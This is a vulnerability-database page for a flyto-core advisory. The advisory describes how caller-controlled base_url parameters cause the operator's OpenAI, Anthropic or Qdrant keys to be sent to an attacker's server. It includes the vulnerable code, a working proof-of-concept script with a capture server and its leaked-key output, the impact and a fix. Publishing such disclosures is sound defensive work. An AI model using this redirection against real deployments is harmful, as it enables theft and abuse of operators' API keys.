GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-3573

Vulnerability from pysec - Published: 2026-08-04 11:34 - Updated: 2026-08-04 13:36
VLAI
Details

Summary

llm.chat reads the operator's provider key from the environment (OPENAI_API_KEY, ANTHROPIC_API_KEY, ...) and sends it in the Authorization: Bearer header to base_url, a parameter the caller controls. base_url is only checked against the SSRF guard, and the guard allows any public host, so pointing base_url at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPIC_API_KEY)" as High.

Affected code

src/core/modules/atomic/llm/chat.py (_call_openai):

base_url = params.get('base_url')            # caller-controlled
if base_url:
    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes
if not api_key:
    api_key = os.getenv('OPENAI_API_KEY')     # operator's key
...
url = (base_url or "https://api.openai.com/v1").rstrip('/') + "/chat/completions"
headers = {"Authorization": f"Bearer {api_key}"}
await client.post(url, headers=headers, json=payload)   # sent to base_url

The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check base_url), llm.agent, and vector.connector (QDRANT_API_KEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.

Reproduction

Save as keyexfil_poc.py, run with PYTHONPATH=src/src python keyexfil_poc.py. It sets an operator key in the environment and points base_url at a local capture server.

#!/usr/bin/env python3
import asyncio
import os
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

os.environ["OPENAI_API_KEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a"
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost"   # stand-in for the attacker's public host
CAPTURED = {}

class Attacker(BaseHTTPRequestHandler):
    def do_POST(self):
        CAPTURED["auth"] = self.headers.get("Authorization")
        ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln)
        b = b'{"choices":[{"message":{"content":"pwned"},"finish_reason":"stop"}],"usage":{"total_tokens":1}}'
        self.send_response(200); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(b))); self.end_headers(); self.wfile.write(b)
    def log_message(self, *a): pass

async def main():
    from core.modules.atomic import register_all
    from core.modules.registry import ModuleRegistry
    register_all()
    threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serve_forever, daemon=True).start()
    res = await ModuleRegistry.execute("llm.chat", params={
        "prompt": "hi", "provider": "openai", "base_url": "http://localhost:8080",
    }, context={})
    print("module ok:", res.get("ok"))
    print("Authorization received by attacker:", CAPTURED.get("auth"))

if __name__ == "__main__":
    asyncio.run(main())

Output:

module ok: True
Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a

Confirmed against the running API as well: calling llm.chat with base_url=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.

Impact

Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence base_url, which is reachable through the MCP agent surface or the hosted API.

Suggested fix

Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom base_url, require them to supply the api_key explicitly too, or check base_url against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's base_url.

Impacted products
Name purl
flyto-core pkg:pypi/flyto-core

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "flyto-core",
        "purl": "pkg:pypi/flyto-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.7",
        "1.0.8",
        "1.0.9",
        "1.1.0",
        "1.1.1",
        "1.11.0",
        "1.12.0",
        "1.13.0",
        "1.14.0",
        "1.14.1",
        "1.14.2",
        "1.15.0",
        "1.16.0",
        "1.16.1",
        "1.16.10",
        "1.16.2",
        "1.16.3",
        "1.16.4",
        "1.16.5",
        "1.16.6",
        "1.16.7",
        "1.16.8",
        "1.16.9",
        "1.2.0",
        "1.3.0",
        "1.4.0",
        "1.5.0",
        "1.5.1",
        "1.5.2",
        "1.5.4",
        "1.6.0",
        "1.6.1",
        "1.6.2",
        "1.6.3",
        "1.6.4",
        "1.6.5",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.7.6",
        "1.7.7",
        "1.7.8",
        "1.7.9",
        "1.8.0",
        "1.8.1",
        "1.8.10",
        "1.8.11",
        "1.8.12",
        "1.8.13",
        "1.8.14",
        "1.8.15",
        "1.8.16",
        "1.8.17",
        "1.8.2",
        "1.8.3",
        "1.8.4",
        "1.8.5",
        "1.8.6",
        "1.8.7",
        "1.8.8",
        "1.8.9",
        "1.9.0",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.10.0",
        "2.11.0",
        "2.12.0",
        "2.12.1",
        "2.12.13",
        "2.12.15",
        "2.12.16",
        "2.12.17",
        "2.12.18",
        "2.12.19",
        "2.12.2",
        "2.12.20",
        "2.12.21",
        "2.12.22",
        "2.12.23",
        "2.12.24",
        "2.12.25",
        "2.12.26",
        "2.12.27",
        "2.12.28",
        "2.12.3",
        "2.12.4",
        "2.12.5",
        "2.12.6",
        "2.13.0",
        "2.13.1",
        "2.13.2",
        "2.13.3",
        "2.13.4",
        "2.14.0",
        "2.15.0",
        "2.15.1",
        "2.15.2",
        "2.15.3",
        "2.16.1",
        "2.16.3",
        "2.16.4",
        "2.17.0",
        "2.17.1",
        "2.17.2",
        "2.17.3",
        "2.17.4",
        "2.17.5",
        "2.17.6",
        "2.17.7",
        "2.17.8",
        "2.18.0",
        "2.18.1",
        "2.18.10",
        "2.18.11",
        "2.18.2",
        "2.18.3",
        "2.18.4",
        "2.18.5",
        "2.18.6",
        "2.18.8",
        "2.18.9",
        "2.19.0",
        "2.2.0",
        "2.2.1",
        "2.2.2",
        "2.20.0",
        "2.20.1",
        "2.20.2",
        "2.20.3",
        "2.20.4",
        "2.23.0",
        "2.23.1",
        "2.23.2",
        "2.23.3",
        "2.24.0",
        "2.24.1",
        "2.24.2",
        "2.24.3",
        "2.24.4",
        "2.25.0",
        "2.25.1",
        "2.25.10",
        "2.25.11",
        "2.25.12",
        "2.25.13",
        "2.25.14",
        "2.25.15",
        "2.25.16",
        "2.25.17",
        "2.25.18",
        "2.25.19",
        "2.25.2",
        "2.25.20",
        "2.25.21",
        "2.25.22",
        "2.25.23",
        "2.25.24",
        "2.25.25",
        "2.25.26",
        "2.25.27",
        "2.25.3",
        "2.25.4",
        "2.25.5",
        "2.25.6",
        "2.25.7",
        "2.25.8",
        "2.25.9",
        "2.26.0",
        "2.26.1",
        "2.26.2",
        "2.26.3",
        "2.26.4",
        "2.26.5",
        "2.3.0",
        "2.3.1",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.4.3",
        "2.4.4",
        "2.4.5",
        "2.4.6",
        "2.4.7",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.6.0",
        "2.6.1",
        "2.7.0",
        "2.7.1",
        "2.7.2",
        "2.7.3",
        "2.7.4",
        "2.7.5",
        "2.7.6",
        "2.8.0",
        "2.9.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67425",
    "GHSA-qq9q-xgm3-xv9g"
  ],
  "details": "## Summary\n\n`llm.chat` reads the operator\u0027s provider key from the environment (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, ...) and sends it in the `Authorization: Bearer` header to `base_url`, a parameter the caller controls. `base_url` is only checked against the SSRF guard, and the guard allows any public host, so pointing `base_url` at an attacker\u0027s server hands them the operator\u0027s key. flyto-core\u0027s own bounty scale rates \"environment access exposing secrets (e.g. `ANTHROPIC_API_KEY`)\" as High.\n\n## Affected code\n\n`src/core/modules/atomic/llm/chat.py` (`_call_openai`):\n\n```python\nbase_url = params.get(\u0027base_url\u0027)            # caller-controlled\nif base_url:\n    validate_url_with_env_config(base_url)    # SSRF check only; a public attacker host passes\nif not api_key:\n    api_key = os.getenv(\u0027OPENAI_API_KEY\u0027)     # operator\u0027s key\n...\nurl = (base_url or \"https://api.openai.com/v1\").rstrip(\u0027/\u0027) + \"/chat/completions\"\nheaders = {\"Authorization\": f\"Bearer {api_key}\"}\nawait client.post(url, headers=headers, json=payload)   # sent to base_url\n```\n\nThe same wiring (env key plus caller endpoint) exists in `ai.model` (which does not even SSRF-check `base_url`), `llm.agent`, and `vector.connector` (`QDRANT_API_KEY` with a caller `url`). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker\u0027s public host.\n\n## Reproduction\n\nSave as `keyexfil_poc.py`, run with `PYTHONPATH=src/src python keyexfil_poc.py`. It sets an operator key in the environment and points `base_url` at a local capture server.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"OPENAI_API_KEY\"] = \"sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\"\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\"   # stand-in for the attacker\u0027s public host\nCAPTURED = {}\n\nclass Attacker(BaseHTTPRequestHandler):\n    def do_POST(self):\n        CAPTURED[\"auth\"] = self.headers.get(\"Authorization\")\n        ln = int(self.headers.get(\"Content-Length\", 0)); self.rfile.read(ln)\n        b = b\u0027{\"choices\":[{\"message\":{\"content\":\"pwned\"},\"finish_reason\":\"stop\"}],\"usage\":{\"total_tokens\":1}}\u0027\n        self.send_response(200); self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(b))); self.end_headers(); self.wfile.write(b)\n    def log_message(self, *a): pass\n\nasync def main():\n    from core.modules.atomic import register_all\n    from core.modules.registry import ModuleRegistry\n    register_all()\n    threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Attacker).serve_forever, daemon=True).start()\n    res = await ModuleRegistry.execute(\"llm.chat\", params={\n        \"prompt\": \"hi\", \"provider\": \"openai\", \"base_url\": \"http://localhost:8080\",\n    }, context={})\n    print(\"module ok:\", res.get(\"ok\"))\n    print(\"Authorization received by attacker:\", CAPTURED.get(\"auth\"))\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nOutput:\n\n```\nmodule ok: True\nAuthorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a\n```\n\nConfirmed against the running API as well: calling `llm.chat` with `base_url=https://example.com` was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.\n\n## Impact\n\nTheft of the operator\u0027s cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence `base_url`, which is reachable through the MCP agent surface or the hosted API.\n\n## Suggested fix\n\nOnly use the environment-derived key with the provider\u0027s official endpoint. If the caller supplies a custom `base_url`, require them to supply the `api_key` explicitly too, or check `base_url` against an allowlist of trusted endpoints \u2014 never auto-attach the operator\u0027s secret to an arbitrary host. Apply the same to `ai.model`, `llm.agent` and `vector.connector`, and add SSRF validation to `ai.model`\u0027s `base_url`.",
  "id": "PYSEC-2026-3573",
  "modified": "2026-08-04T13:36:18.879684Z",
  "published": "2026-08-04T11:34:45.510122Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-qq9q-xgm3-xv9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67425"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flytohub/flyto-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/flyto-core"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-qq9q-xgm3-xv9g"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…